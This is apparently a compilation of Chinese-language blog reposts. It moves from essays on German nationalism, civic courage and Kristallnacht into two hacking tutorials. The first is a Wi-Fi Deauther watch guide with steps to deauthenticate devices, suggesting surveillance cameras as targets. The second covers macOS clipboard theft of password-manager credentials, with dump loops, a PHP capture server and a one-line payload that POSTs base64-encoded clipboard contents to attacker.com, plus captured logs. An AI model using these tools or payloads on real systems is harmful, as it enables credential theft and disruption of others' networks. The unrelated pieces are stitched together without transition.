她说的德语有一种美丽的古典风味。这种德语被她的家族保留至今，就像一张古老的亚麻桌布。她很自豪从未丢下她的语言，即使斯大林在1937年枪毙了乌克兰日托米尔区所有的德语教师，并因为她与德国国防兵合作，战后将她流放到西伯利亚。

当我唐突地说，有人会认为她更像俄罗斯人而不是德国人，她的蓝眼睛中对我闪现出怒火。"我知道我是谁"，她说。

德意志人是那些少有的祖父母领着他们的子孙辈回家的移民之一。祖父母还会说德语，但他们的孩子们已经不会说了。

绝大多数德国人可能希望他们的俄罗斯兄弟留在他们所在的地方，但是他们也知道，如果不让他们来，再过一代人，可能就没有德意志人能 “带回家”了。

Olga 和她的女儿曾梦想的故乡与她们正冒险探究的这个故乡毫不相干。她们对一切都感到惊奇，例如，在商店里有20多种肥皂，车流如此野蛮。最重要的是，他们惊讶于那些外国人。

“我本以为我是来德国，然而却好像来到了土耳其”，**Olga** 的女儿皱了皱鼻子，失望地说。她是用俄语说的，因为她不会说德语。

（译者： …… 写下这句话后大笑了半分钟，然后，陷入了深刻的悲痛）

> This could be the moment, in other words, to bury the idea of the German Volk forever. In practical terms, this would mean moving away from identification with the nation toward identification with the state, i.e., away from a citizenship based on the fiction of ethnic identity toward one based on allegiance to the values of democracy.

Thousands of refugees found shelter in makeshift camps

最后的思考

「图」

基于对德国种族主义历史的愧疚和补偿，德国宪法郑重承诺，对所有政治迫害的受害者给予庇护。只不过它发现，无法依照自己的良心来信守承诺。

问题不仅仅在于寻求庇护者的数量，还因为，战后的自由派德国很大程度上将自己视为后民族主义的、甚至是反民族主义的国家，以致于它发现自己无法清楚地定义与国际移民相关的民族主义利益。

对于像 Rosa Wolf 这样的德国自由派，难民危机是战后第一次让他们感觉要被迫放弃后民族主义国家的乌托邦，更加冷静地思考德国的民

族利益。

换句话说，即使是对自由派而言，某些民族主义的对话也是不可避免的。他们不得不讨论配额、限制、遣返、对德国失业率的优先考虑。所有这些话题都非常自然，并不会因为其与右翼的关联而被视为耻辱。

然而，时代对于德国右派仍然不利。德国城市中形成的多元文化社会，使得把德国人视作一个单一民族的“人民”显得荒谬，而东部和西部德国人之间的差异，令每一个人都想知道这种“人民”的身份中到底包括了什么。

抛开这些现实情况对德国身份幻想的暴力入侵，界定德国身份的法律工具仍然受到种族民族主义历史的限制。公民身份的标准仍然是基于“血统决定国籍”准则的种族传承（ **jus sanguinis** ）。由此导致在现实和种族幻想之间的矛盾，呈现出明显的错乱。

对于绝大多数外部人士以及许多德国人来说，一个出生在德国、成长在德国的土耳其人，不能成为德国公民；而一个来自西伯利亚的、从未在这个国家居住过的、没有语言竞争力的“德意志族人”，可以被授予公民身份，获得广泛的定居协助。这是荒谬的。

德国公民法的荒谬性，迫使保守的德国人在一个现代的多元文化世界中，面对用“人民”确定民族身份的不一致性。同时，自由派德国人发现。基于愧疚和补偿构建的一种后民族主义身份是不够的。

似乎，双方都被现实的力量缓缓推动着，放弃各自的乌托邦。一边是一个德意志人的德国乌托邦，另一边则是一个向全世界开放的德国的乌托邦。

同时，伴随着统一，德国最终从一个饥饿的民族转变为餍足的民族。它的边界安定了，它失去的族人正在归来。它现在的任务不是如一些自由派提出的从共同超越民族主义转到乏味的欧洲主义，而是，从其种族民族主义的过去转向一个公民民族主义的潜在未来。

换言之，这可能是永远埋葬德国“人民”理念的时刻。用现实的语言来说。这将意味着从依民族的认同转向依国家的认同；也即，从基于种族身份幻想的公民身份转向基于民主价值认同的公民身份。

这项事业的主要障碍不在少数种族自身，而是，在于那些梦想一个从未存在的德意志的保守派，以及那些认为爱国主义是傻瓜才相信的自

由派。

结果是一个僵局。一个政治和文化的虚空。那儿本应找到一个可信赖的德意志形象。在这个虚空中本应有一个民族，但现在，只有一个国家。

这个僵局每延续一天，这个国家的权威就弱化一天，而 Leo、Leech 和他们的极右翼朋友们就变得更加强大。

我登上飞机飞往伦敦，想着德国人的反讽之处，他们创造了种族民族主义的理念，实际上却一点都不喜欢他们自己。

我想知道，如果德国人真正平心静气地对待自己的民族，会是怎样？爱它本来的样子，而非它可能的样子？爱它所有的历史、所有的过去？那样的民族主义会是怎样？…… 那样的爱可能吗？○

[译者注] 您可以在这里下载这本书：https://t.me/iyouport/6545

我们只翻译了它的一章，关于德国的，分为四篇文章，总计5万余字。

这本书的优秀在于，它对全球的新民族主义进行了鲜活的专业的民族志研究 —— 从塞尔维亚到德国、从乌克兰到魁北克、从库尔德斯坦到北爱尔兰；所有这一切都具有明显的共性，只不过是换了时代和环境，上演的悲剧却极为相似。

作者 Michael Ignatieff 不仅是极为优秀的战地记者、也是文采非凡的作家和政治家。他在英国发展时为BBC做了很多出色的节目。这本书是他的三部曲中最厚重的一本，也是最杰出的。非常值得阅读。

原文

（51）勇气具有传染性 - iyouport

社会反抗和思考

（ 2019年3月10日存档）有时，个别行为引发的火花就可以点燃了一场积极的风暴。 公民的勇气是为共同利益服务的能力，即使有一个人必须独自站起来：因为，虽然最终成千上万的人加入了这些非凡的行动，但他们所有人的勇气都在被先锋者所加强，成为不同

无论我们多少次听到一个人的良心行为点亮了天空的火花，我们中依旧有太多人坚持认为自己的行为“并不重要”。我们感觉自己更像撒哈拉沙漠中的水滴，在打湿沙子之前便被蒸发。

这不是事实。

人们对自己的权力视而不见的一个原因可能是无法看到我们的行动正在填补的空间—— 也就是说，庞大的体系被我们的个人选择所改变，

2016年，我与 Democracy Spring 一起走了一百多英里，为了坐在国会大厦的台阶上，要求政治资金。我知道自己是崛起的民主运动的一部分，我可以感觉自己这滴水正在涌入一个强大的桶中。

但是用“填补”来形容仍然会错过很多东西，因为在我们的世界里，“没有其他部分，唯有参与者”（这是我离世的朋友，物理学家 Hans Peter Duerr 说的）我们的能量水平辐射。

之所以会发生这种情况，是因为在我们相互联系的世界里总是有人能注意到这种辐射，即使只有一个人。它就会传递给另一个人，下一个、再下一个……

在这方面，我喜欢一个故事，作者是丽贝卡·索尔尼特（Rebecca Solnit），它讲述了20世纪60年代初的一个下雨天，当时一些女性罢工者和平示威成员在肯尼迪白宫面前抗议核试验，他们感到自己的行动“愚蠢和徒劳”。

然后，多年后，其中一位抗议者方才得知，Benjamin Spock 当天就在现场，他想到这些女性“如此热情，他应该更多地考虑这个问题。”

这位世界著名的“儿科医生”随后成为了反对地上核试验的最热情和最有效的国家领导人之一，到1963年，肯尼迪总统签署了禁试条约。

有时，个别行为引发的火花可以点燃了一场积极的风暴。

几年前，我在德国莱比锡的一所大学演讲，之后学生们带领我游览他们这个美丽的城市。很快，一位年轻的导游指着圣尼古拉教堂告诉我：“这就是它开始的地方”—— 该教堂在推倒柏林墙方面发挥了关键作用。

什么？

我从未听说过莱比锡、更不用说这座教堂，是1989年11月9日墙倒塌之巨大变革的一部分，导致苏联解体并永远改变了世界。

后来，我读到了当时14岁的 Markus Laegel 的记录，讲述了他和他父母在那一刻的经历：

“成千上万的人聚集在一起。他们在这里祈祷。他们祈求和平。祈祷定于下午6点开始。计划是使用 Nicolai 教堂，但那里已经挤满了人，现在还只有四点钟。我们去圣托马斯教堂，这里也是非常拥挤，但我们设法找到了一个空间。妈妈、爸爸和我，我们是一个家庭。不只有我们，而是在场的每个人。“

Markus 然后引用了一位牧师的话来描述正在发生的事：

“当你举起蜡烛时，你需要双手。你必须保护火焰……你不能同时拿着一块石头或棍子……警察来了，开始驱逐。“

Markus 继续说：

“成千上万的人……把蜡烛放在武装士兵和警察的脚下。斯塔西的脚下—— 这个监视、虐待和出卖人民的组织—— 现在被蜡烛包围着。它看起来像一条和平与光明的河流。“

整整四周后，柏林墙倒塌了。

东德政权 Horst Sindermann 承认：“我们已经计划好了一切。我们为任何不测事件做好了准备。除了蜡烛和祈祷之外的任何东西。“

我分享 Markus 的故事，是因为我们每个人都需要相信勇气—— 相信民间勇气的潜力—— 它就在我们每个人的身上；而我们个人的微小火花可能会点燃熊熊烈火。没有行动我们就永远也不会知道自己的力量，除非我们采取行动，我们也许永远不会知道我们能如何改变历史。

但有一件事是肯定的。

公民的勇气是为共同利益服务的能力，即使有一个人必须独自站起来：因为，虽然最终成千上万的人加入了这些非凡的行动，但他们所有人的勇气都在被先锋者所加强，成为不同。〇

原文

（52）当我们不能彼此照应时，结果又将如何？ - iyouport

社会反抗和思考

（2019年3月18日存档）围观能改变什么？ 可能什么也改变不了； 当人们的良心被自求平安的懦弱击败时会发生什么？ 将所有人拖入危机；

那天是水晶之夜80周年，1938年，对德国犹太人的大屠杀的开端。那是一段恐怖的日夜—— 犹太人被杀害、房屋被烧毁、商业遭到破坏，3万多名犹太人被捕并被送往集中营—— 标志着纳粹种族灭绝行动的新阶段。

它开始了，重要的是要记住，不是“最终解决方案”(German: Endlösung) ，而是缓慢升级的仇恨注入的言论和行动，旨在让犹太人的生活如此难以为继—— 最后是吉普赛人、共产党人、同性恋者、残疾人和所有“其他人”，他们的血统被认为对于优越的雅利安帝国来说太不纯洁了—— 他们被驱逐。

从1933年开始、到1935年深度种族主义的纽伦堡法案、直到1938年，越来越多的法律限制了犹太人的权利—— 工作、上学、拥有财产、经营企业、与非犹太人结婚、进入某些城镇或社区、作为公民、拥有护照 ……剥夺了他们像一个正常人那样生活的所有权利。1938年10月，即使成千上万的犹太人正在越来越多地向将他们拒之门外的其他国家寻求庇护，纳粹仍然残酷地将数千名波兰公民身份的犹太人带到被遗弃的马厩—第一次大规模驱逐。

11月9日和10日，他们进一步展开了种族清洗行动，纳粹计划的大屠杀是自发的—— 借口是一名年轻的波兰犹太流亡者暗杀一名德国外交官—— 但实际上这是由约瑟夫·戈培尔和其他纳粹领导人们干的。

一夜之间，纳粹进行了疯狂的扫荡，91名犹太人遭到枪击和殴打—— 其他人自杀—— 1400间犹太教堂被烧毁，7,000个名犹太企业被摧毁，因为警察乖乖地站在一边，因为许多其他德国人在围观，就在次

日当超过30,000名犹太人被围捕并被扔进集中营时，他们依旧在围观。

经过不断的仇恨言论，经过多年的冷酷敌意，水晶之夜标志着一个致命的转折点—— 在良心和共谋之间的道德考验上，太多的德国人失败了。

Elisheva Avital 最近找到的照片来自她在二战中战斗的祖父，在水晶之夜期间由纳粹摄影记者拍摄的照片，这些照片显示了只穿着睡衣的满脸恐惧的居民茫然的眼神和带血的身躯，她写道：

Yad Vashem 关于水晶之夜的文件记录，名为“It Come From Within”，突出了历史学家和大屠杀幸存者 Zvi Bacharach 的证词摘录—— 德国犹太人“是德国社会的一部分，纳粹的打击针对的是本国公民”，他写道，他的父母认为“和我们生活在一起的德国人不会再继续做这种事。”“他们无法理解……我记得我的母亲脸色苍白，哭泣着……我记得她给她的外邦朋友打电话……但是没有答案。没有人回答她。”

“你告诉我们这一切都不会再重来了“。

“我不确定“。〇

原文

使用Wi-Fi Deauther手表，在您的手腕上直接破解网络和设备 - iyouport

hacktivist黑客主义

针对联网摄像头可能是最有趣的玩法，但是！绝对不是在建议您这样做！如果您的当地法律禁止未经授权的干扰网络连接，您需要警惕触犯法律

Travis Lin 的 Deauther 手表是德国黑客 Spacehuhn 的 Wi-Fi Deauther 项目的物理表现，它的设计是为了让您从手腕上直接操作Deauther而不需要电脑。如果您想做 Wi-Fi Deauther 能做的所有有趣的事，而不需要把它插入一个设备，那么您会知道，这种方法是最酷的。

关于 Deauther，首先，它可以创建取消认证和取消关联程序包，这可以将目标设备从Deauther攻击的同一Wi-Fi网络中踢出去。它可以一次又一次地这样做，不断干扰网络，使设备无法连接或保持连接。

Wi-Fi监视摄像头是这种类型的攻击的一个有趣的用例。您可以使用 Deauther Watch 的可穿戴黑客工具，然后寻找您遇到的监视摄像头所连接的Wi-Fi网络，然后发出一个deauth攻击，将目标摄像头踢出网络，这样您就可以神不知鬼不觉地溜走了。

Wi-Fi Deauther 项目可以扫描附近的接入点和连接的设备，它甚至可以克隆它看到的任何Wi-Fi网络。它还可以用您想要的任何名字生成几十个假的Wi-Fi网络，监测设备之间的数据包流量通道，并在一个漂亮的内置界面上完成所有这些工作。

您将需要什么？

「图」

现在，如果您想单独购买所有部件，您实际上可以自己建造一个 Deauther Watch，您也可以从下面挑选一个包含所有部件的预装版：

- Amazon: DSTIKE Deauther Watch v1
- Amazon: DSTIKE Deauther Watch v2
- Amazon: DSTIKE Deauther Watch v3
- DSTIKE: DSTIKE Deauther Watch v1
- DSTIKE: DSTIKE Deauther Watch v2
- DSTIKE: DSTIKE Deauther Watch v3
- Aliexpress: DSTIKE Deauther Watch v1
- Aliexpress: DSTIKE Deauther Watch v2
- Aliexpress: DSTIKE Deauther Watch v3

如果您需要从头开始安装固件，则还需要Python 3。

步骤1：从头开始刷新固件（如有必要）

「图」

Deauther Watch 应该预先刷上了正确的固件，但如果缺少软件、软件损坏、或有什么地方不对，您随时可以安装或重新安装它。在任何这些情况下，请确保您安装了esptool：

```
~$ pip3 install esptool

Collecting esptool

Downloading https://files.pythonhosted.org/
packages/68/91/08c182f66fa3f12a96e754ae8ec7762abb2d77842
esptool-2.8.tar.gz (84kB)

100% |                                    | 92kB
928kB/s

Requirement already satisfied: ecdsa in /usr/lib/
python3/dist-packages (from esptool) (0.13)

Collecting pyaes (from esptool)

Downloading https://files.pythonhosted.org/
packages/44/66/2c17bae31c906613795711fc78045c2850481689l
pyaes-1.6.1.tar.gz

Requirement already satisfied: pyserial」=3.0 in /
usr/lib/python3/dist-packages (from esptool) (3.4)
```

```
Building wheels for collected packages: esptool,
pyaes

Running setup.py bdist_wheel for esptool ... done

Stored in directory: /root/.cache/pip/
wheels/56/9e/
fd/06e784bf9c77e9278297536f3df36a46941c885eb23593bb16

Running setup.py bdist_wheel for pyaes ... done

Stored in directory: /root/.cache/pip/wheels/bd/
cf/7b/
ced9e8f28c50ed666728e8ab178ffedeb9d06f6a10f85d6432

Successfully built esptool pyaes

Installing collected packages: pyaes, esptool

Successfully installed esptool-2.8 pyaes-1.6.1
```

接下来，去 GitHub 上 Spacehuhn 的 Wi-Fi Deauther 项目的发布页面看一下，确保您得到的是最新的固件版本。找到并下载最新的 Deauther Watch 的BIN文件，目前应该是以下文件之一：

```
https://github.com/SpacehuhnTech/esp8266_deauther/
releases/download/2.6.0/
esp8266_deauther_2.6.0_DSTIKE_DEAUTHER_WATCH.bin

https://github.com/SpacehuhnTech/esp8266_deauther/
releases/download/2.6.0/
esp8266_deauther_2.6.0_DSTIKE_DEAUTHER_WATCH_V2.bin
```

如果您在安装固件时有任何问题，可以在 GitHub上 Spacehuhn 的 Wi-Fi Deauther Wiki 上找到所需的命令和一些在手表上安装BIN文件的技巧和窍门。

使用 Micro-USB 电缆将 Deauther手表上的 ESP8266 微控制器插入您的电脑，然后找到它所连接的端口。要做到这一点，在macOS上使用 ls /dev/cu.*，在Linux上使用 dmesg | grep tty，或者在Windows上通过设备管理器查找com端口。

当您找到正确的端口时，用下面的命令刷新固件。确保用您的Deauther所连接的端口替换 /dev/ttyUSB0，如果BIN文件不是同一版本，则改变其文件名。

```
esptool.py -p /dev/ttyUSB0 write_flash -fm dout
0x0000
esp8266_deauther_2.6.0_DSTIKE_DEAUTHER_WATCH.bin
```

这应该会把固件写入设备，但屏幕可能不会打开。

步骤2：打开屏幕（如果需要）

「图」

如果您的 Deauther Watch 的屏幕不起作用，那么您将需要手动打开它。Wi-Fi Deauther Wiki 有一个很好的设置显示和按钮资源，如果您在任何时候需要它。

在您的 Deauther Watch 仍然通过 Micro-USB电缆连接到您的电脑时，用以下命令连接到它的屏幕。您需要用您的 Deauther Watch 所连接的端口来替换该端口。

```
~$ screen /dev/ttyUSB0 115200

MicroPython v1.15 on 2021-05-14; ESP module with
ESP8266

Type "help()" for more information.

」」」
```

或者，您可以在 Arduino IDE 中连接到它。如果您想这样做，打开 Arduino IDE，点击菜单中的 “工具”，选择 “端口”，并选择您连接的 Deauther Watch 的端口。然后，按键盘上的 Command-Shift-M 或点击当前窗口中的串行监视器按钮来打开串行监视器。

连接后，无论是通过终端还是 Arduino IDE，输入help来查看命令列表，并确认您的连接是正确的。您应该看到像下面这样的输出：

```
」」」 help

[===== List of commands =====]
```

help

scan [「all/aps/stations」] [-t 「time」] [-c 「continue-time」] [-ch 「channel」]

show [selected] [「all/aps/stations/names/ssids」]

select [「all/aps/stations/names」] [「id」]

deselect [「all/aps/stations/names」] [「id」]

add ssid 「ssid」 [-wpa2] [-cl 「clones」]

add ssid -ap 「id」 [-cl 「clones」] [-f]

add ssid -s [-f]

add name 「name」 [-ap 「id」] [-s]

add name 「name」 [-st 「id」] [-s]

add name 「name」 [-m 「mac」] [-ch 「channel」] [-b 「bssid」] [-s]

set name 「id」 「newname」

enable random 「interval」

disable random

load [「all/ssids/names/settings」] [「file」]

save [「all/ssids/names/settings」] [「file」]

remove 「ap/station/name/ssid」 「id」

remove 「ap/station/names/ssids」 [all]

attack [beacon] [deauth] [deauthall] [probe] [nooutput] [-t 「timeout」]

attack status [「on/off」]

stop 「all/scan/attack/script」

sysinfo

clear

format

print 「file」 [「lines」]

delete 「file」 [「lineFrom」] [「lineTo」]

replace 「file」 「line」 「new-content」

copy 「file」 「newfile」

rename 「file」 「newfile」

run 「file」

write 「file」 「commands」

get 「setting」

set 「setting」 「value」

reset

chicken

reboot

info

// 「comments」

send deauth 「apMac」 「stMac」 「rason」 「channel」

send beacon 「mac」 「ssid」 「ch」 [wpa2]

send probe 「mac」 「ssid」 「ch」

led 「r」 「g」 「b」 [「brightness」]

```
led 「#rrggbb」 [「brightness」]

led 「enable/disable」

draw

screen 「on/off」

screen mode 「menu/packetmonitor/buttontest/
loading」

==========================================================

for more information please visit github.com/
spacehuhn/esp8266_deauther

==========================================================
```

现在，在终端或Arduino IDE中运行以下命令以启用屏幕：

```
」」」 set display true;;save settings
```

您可能需要重新启动设备，使设置生效。

步骤3：创建一个反应式目标（可选）

「图」

为了有合法的东西来练习，最好创建一个反应式目标，这基本上是一个Wi-Fi黑客测试网络上的设备。可以在 Arduino IDE 默认的 “WiFiAccessPoint” 草图基础上，为基于ESP8266的微控制器（如D1 Mini）制作一个。

Kody Kinzie 在GitHub上的 WiFiHackingWorkshop 项目中有一个修改过的草图。该草图是 ReactiveTarget.ino 文件，下载该文件，然后将其刷到您的ESP8266上。下面的代码框显示了 ReactiveTarget.ino 文件的内容，如果您想要重新构建它的话。

```
// SIMPLE Wi-FI LINK MONITOR BY SKICKAR - Based on
Henry's Bench Wi-Fi link checker

// This project has the goal to connect an ioT
```

device to a Wi-Fi network and monitor the ability to establish a normal wireless connection.

// The project uses only three componants - A nodeMCU, a breadboard, and one RGB LED.

#include 「ESP8266WiFi.h」 // First, we include the libraries we need to make this work on the ESP8266

#include 「ESP8266WiFi.h」

#include 「ESP8266HTTPClient.h」

const char* ssid = "Control"; // Next, we set the name of the network to monitor.

const char* password = "testytest"; // After that, we enter the password of the network to monitor.

int wifiStatus; // Here, we create a variable to check the status of the Wi-Fi connection.

int connectSuccess = 0, highTime = 500, lowtime = 500; // And now, we set a variable to count the number of times we've been able to successfully connect, and how long the LED will stay on and off for.

void red() { // Here, we will map a function called "red" to the right pin that will light up the red LED for the amount of time we defined in hightTime for how long it is lit, and lowTime for how long it is off each time we pulse a red LED.

digitalWrite(D1, HIGH), delay(highTime), digitalWrite(D1, LOW), delay(lowtime); // We map the red function to the D5 pin, so that each time we call red() it will pulse power on the D5 pin.

}

void green() { // We do the same with green,

mapping the D6 pin to the green() function.

digitalWrite(D2, HIGH), delay(highTime), digitalWrite(D2, LOW), delay(lowtime);

}

void blue() { // Finally, we do the same with blue, mapping it to the D7 pin.

digitalWrite(D3, HIGH), delay(highTime), digitalWrite(D3, LOW), delay(lowtime);

}

void setup() { // The setup function runs only once when the device starts up.

unsigned long previousMillis = 0; // will store last time LED was updated

// constants won't change:

const long interval = 1000; // interval at which to blink (milliseconds)

pinMode(D1, OUTPUT), pinMode(D2, OUTPUT), pinMode(D3, OUTPUT); // In this case, we will activate the D5, D6, and D7 pins for output mode.

WiFi.begin(ssid, password); // The last part of setup we will write is to start the Wi-Fi connection process.

}

void loop() { // This loop will run over and over again, unlike the setup function, which will only run once.

HTTPClient http;

```
http.begin(/*client, */ "http://192.168.4.1");

int httpCode = http.GET();

String payload = http.getString();

if (httpCode ⌟ 0) {

} else {

Serial.printf("ERROR %d\n", httpCode);

}

//delay(1000); // Set a delay of one second per
cycle of checking the status of the link.

wifiStatus = WiFi.status(); // First, we'll check
the status of the Wi-Fi connection and store the
result in the variable we created, wifiStatus.

if(connectSuccess == 0){ blue();} // If device is
not connected and never has successfully
connected, flash the blue light. This could mean
the network doesn't exist, is out of range, or you
misspelled the SSID or password.

if(wifiStatus == WL_CONNECTED){ green(),
connectSuccess ++; } // If the device is
connected, flash the green light, and add one to
the count of the "connectSuccess" variable. This
way, we will know to flash the red light if we
lose the connection.

else if(connectSuccess != 0){ red(); } // If the
connection is not active but we have been able to
connect before, flash the red LED. That means the
AP is down, a jamming attack is in progress, or a
normal link is otherwise impossible.

}
```

这个草图会不断检查Wi-Fi网络是否可以访问，设备是否可以成功连接到它，或者它是否被阻止。如果它被阻止，那么ESP8266将以红色闪光警告您，如果它能够成功连接，它将以绿色闪光告诉您。如果它根本无法连接，意味着接入点出了问题，ESP8266 将闪烁蓝色。

步骤4：扫描目标网络

「图」

现在，我们可以通过翻转侧面的开关来打开 Deauther Watch。在主菜单中，使用滚动开关选择SCAN选项，然后按下开关进入扫描菜单。Image by Retia/Null Byte

在扫描菜单中，您可以决定扫描接入点（SCAN APs）、设备端（SCAN STATIONS）或两者（SCAN AP ＋ ST）。在您决定扫描哪一个并通过滚动开关选择后，按下开关开始扫描。Image by Retia/Null Byte

扫描完成后，它将显示发现了多少个AP、stations 或两者。现在，回到主菜单，打开 SELECT 菜单。在这里，您可以看到扫描所检测到的东西。Image by Retia/Null Byte

接下来，浏览 APs、Stations、Names 和 SSIDs 选项，直到您找到您的反应目标。选择您的目标，并按下滚轮，用星号（*）突出显示目标，并将其保存到目标列表中。

步骤5: 攻击目标网络

「图」

回到主菜单，这次选择 “攻击”，在那里，您可以选择使用 DEAUTH、BEACON 或 PROBE 攻击。

如果您想一次又一次地克隆，可以使用 BEACON 攻击。如果想发送一些探测帧以寻找这个网络或设备，可以尝试使用 PROBE 攻击。

这里将选择DEAUTH攻击。选择DEAUTH，然后往下走到START，按下按钮，开始。这应该会使目标与它的网络断开，ESP8266反应式目标应该开始闪烁红色信号。Image by Retia/Null Byte

您应该成功地干扰了目标的Wi-Fi，而目标应该不再连接到Wi-Fi网

络。一旦您准备停止，可以再次按下按钮来停止攻击，而目标可以再次加入网络。

这只是一个简单的小演示，说明您可以如何使用 Deauther Watch 来扫描、选择和攻击一个网络。要再次开始攻击设备，只需再次启动攻击。

安全使用您的 DeautherWatch

「图」

Deauther Watch 是一个非常了不起的项目，也是支持 Wi-Fi Deauther 项目开发者的一个好方法。请记住，它可能在做一些在您的国家或地区可能是非法的事，比如入侵一个您没有权限攻击的Wi-Fi网络。这可能是一个严重的问题，所以，在您开始对您没有权限测试的网络使用这个设备之前，请确保您检查了当地的法律。〇

Hack Networks & Devices Right from Your Wrist with the Wi-Fi Deauther Watch

原文

如何以纯文本格式转储密码管理器中的密码 - iyouport

hacktivist自我保护措施-技术技巧以防身黑客主义

【 2020年10月29日存档】以及如何防止这种攻击

KeePassX、1Password 和 LastPass 这些密码管理器可以有效地防止键盘记录器、网络钓鱼和数据库泄露；但是，密码管理器依靠操作系统的剪贴板将凭证从密码库安全地转移到Web浏览器。然而就是在这几秒钟内，攻击者就可以抓取剪贴板内容，以导出密码。

针对密码管理器的剪贴板攻击，null-byte 介绍了两种情况，都利用了所有版本的 macOS 中都有的 pbpaste 命令。Pbpaste 会将剪贴板中发现的任何数据（包括密码）写入标准输出。

任何 macOS 用户都可以尝试，首先将密码复制到剪贴板，然后立即在终端中输入 **pbpaste**。

执行 pbpaste 不需要特殊权限，剪贴板可以写入任何文件，如下所示。这影响到 KeePassX、1Password、LastPass，甚至苹果自家内置的 iCloud Keychain 密码管理器。

```
~$ pbpaste 」」/tmp/clipboard.txt
```

选项1：本地转储剪贴板

「图」

场景： 攻击者建立了一个持久性的后门，并希望长期收集存储在 KeePassX、1Password 或 LastPass 中的密码。

MacOS 在防范键盘记录器方面已经变得更好了，任何人在直播桌面时都无法透露存储在密码管理器中的凭证。

攻击者可以将剪贴板转储到本地文件中，并偶尔检查它是否有新的密

码。一个延时5秒的无限 while 循环应该可以做到这一点。

```
~$ while true; do echo -e "\n$(pbpaste)" 」」/tmp/clipboard.txt &amp;&amp; sleep 5; done
```

while 循环将执行 pbpaste；循环中的命令会不断重复，反复转储剪贴板中的任何内容。引入一个 **echo**，以在每一个条目中创建一个新行 (**\n**)，以防止数据在同一行中连接。

在其他 Netcat shell 中，使用 **cat** 或 **tail** 来查看剪贴板.txt文件的内容。

```
~$ tail -f /tmp/clipboard.txt
```

tail 后跟 (-f) 将更改附加到文件，并立即打印剪贴板中发现的新内容。

通过评估剪贴板内容并与文件中的最后一条内容进行比较，防止 clipboard .txt 文件被重复的行数淹没。

```
~$ while true; do if [[ "$(pbpaste)" != "$(tail -n1 /tmp/clipboard.txt)" ]]; then echo -e "\n$(pbpaste)" 」」/tmp/clipboard.txt; fi &amp;&amp; sleep 5;done
```

只有当当前剪贴板内容与 .txt 中的最后一条内容 (**tail -n1**) 不相等 (**!=**) 时，pbpaste 才会更新文件。

然而，这个解决方案一定程度上存在缺陷。**if** 语句只比较 .txt 文件的最后一行，所以如果其中有有多行，它就不能识别为重复条目。但对于本文和大多数场景来说，它都达到了目的。

您可以花一点时间，以此为基础，设计一个强大的、合适的解决方案。

选项2：将密码泄露到远程服务器

「图」

场景： 攻击者并不关心远程访问 MacBook。相反，有效载荷被设计为每隔一段时间就将剪贴板输出到攻击者的服务器。

在这种情况下，攻击者只关心剪贴板的外泄，并没有对 MacBook 进行后门。相反，他们已经找到了在目标 macOS 设备上远程执行代码的方法。

设置这种攻击涉及到一个由攻击者控制的PHP服务器，用来拦截外流的数据。在本演示中使用了一个 Debian 虚拟专用服务器。

步骤1：安装PHP

「图」

首先，使用以下 **apt-get** 命令安装 php，该命令将在 Debian 和 Kali Linux 中运行。

```
~# apt-get update &amp;&amp; apt-get install php

Ign:1 http://http.us.debian.org/debian stretch
InRelease

Hit:2 http://http.us.debian.org/debian stretch-
updates InRelease

Hit:3 http://security.debian.org/debian-security
stretch/updates InRelease

Hit:4 http://http.us.debian.org/debian stretch
Release

Reading package lists... Done

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following NEW packages will be installed:

apache2-bin libapache2-mod-php7.0 libapr1
libaprutil1 libaprutil1-dbd-sqlite3 libaprutil1-
ldap liblua5.2-0 php
```

```
php-common php7.0 php7.0-cli php7.0-common php7.0-
json php7.0-opcache php7.0-readline psmisc

0 upgraded, 16 newly installed, 0 to remove and 0
not upgraded.

Need to get 5,209 kB of archives.

After this operation, 19.9 MB of additional disk
space will be used.

Do you want to continue? [Y/n]
```

使用以下 **mkdir** 命令创建一个名为 “phpServer/” 的目录。

```
~# mkdir phpServer/
```

使用 **cd** 命令切换到 phpServer/ 目录。

```
~# cd phpServer/
```

用 **nano** 创建一个名为 “index.php” 的文件。

```
~/phpServer# nano index.php
```

将以下 PHP 代码粘贴到 nano 终端中。完成后要保存并退出 nano 终端，按 Ctrl + x，然后按 y，然后按 Enter。

```
「?php

$input = file_get_contents("php://input");

$log = file_put_contents('clipboard.txt',
$input.PHP_EOL , FILE_APPEND | LOCK_EX);

?」
```

它能够拦截数据，而且不需要做任何修改就能发挥作用。当 MacBook 发送剪贴板内容时，服务器将捕获数据并附加到一个名为 “clipboard.txt” 的文件。

最后，使用 **php -S 0.0.0.0:80** 命令启动PHP服务器。

```
~/phpServer# php -S 0.0.0.0:80

PHP 7.0.33-0+deb9u3 Development Server started at
Sun Jun 9 08:38:55 2019

Listening on http://0.0.0.0:80

Document root is /root/phpServer

Press Ctrl-C to quit.
```

步骤2：创建有效载荷

「图」

下面的脚本将比较当前剪贴板的内容和最近发送到攻击者服务器的内容。为了清楚起见，它采用的是标准的shell脚本格式。

```
# While loop to dump the clipboard over and over
again, infinitely.

while true; do

# An `if` statement, compares the current
clipboard

# content to the content found in the last loop.

if [[ "$(pbpaste)" != "$pbpaste_last" ]]; then

# A `p` to store the encoded clipboard contents.
The

# contents must be encoded before sending to the

# attacker's server to prevent it from breaking
the

# proceeding curl command.

p="$(echo $(pbpaste) | base64)"

# Curl takes the encoded string and delivers it to
```

```
# the attacker's server via POST request.

curl --data "$p" -X POST 'http://attacker.com/'

# The `pbpaste_last` variable is updated. This
variable

# is evaluated in the following loop.

pbpaste_last="$(pbpaste)"

# Delay for 5 seconds before checking the
clipboard

# for new contents. Decreasing this value will
cause

# the script to evaluate the clipboard more
frequently,

# but will have a negative impact on the MacBook's

# CPU. Increasing the value may cause the script
to

# miss a valuable password. Adjust as needed.

sleep 5

fi

done
```

将脚本压缩到一行以使其方便地适合各种类型的 stager。

```
while true; do if [[ "$(pbpaste)" !=
"$pbpaste_last" ]]; then p="$(echo $(pbpaste) |
base64)"; curl --data "$p" -X POST 'http://
attacker.com/' &amp;amp;&amp;amp;
pbpaste_last="$(pbpaste)"; sleep 5; fi; done
```

步骤3：检查被窃取的数据

「图」

当PHP服务器接收到剪贴板数据时，它将显示数据的来源（IP地址）以及日期和时间。按 Ctrl＋c 键停止PHP服务器。

```
PHP 7.0.33-0+deb9u3 Development Server started at
Sun Jun 9 08:38:55 2019

Listening on http://0.0.0.0:80

Document root is /root/phpServer

Press Ctrl-C to quit.

[Sun Jun 9 09:03:23 2019] 23.129.64.153:63761
[200]: /

[Sun Jun 9 09:03:33 2019] 23.129.64.153:46089
[200]: /

[Sun Jun 9 09:03:50 2019] 23.129.64.184:13728
[200]: /

[Sun Jun 9 09:03:56 2019] 199.195.250.77:38894
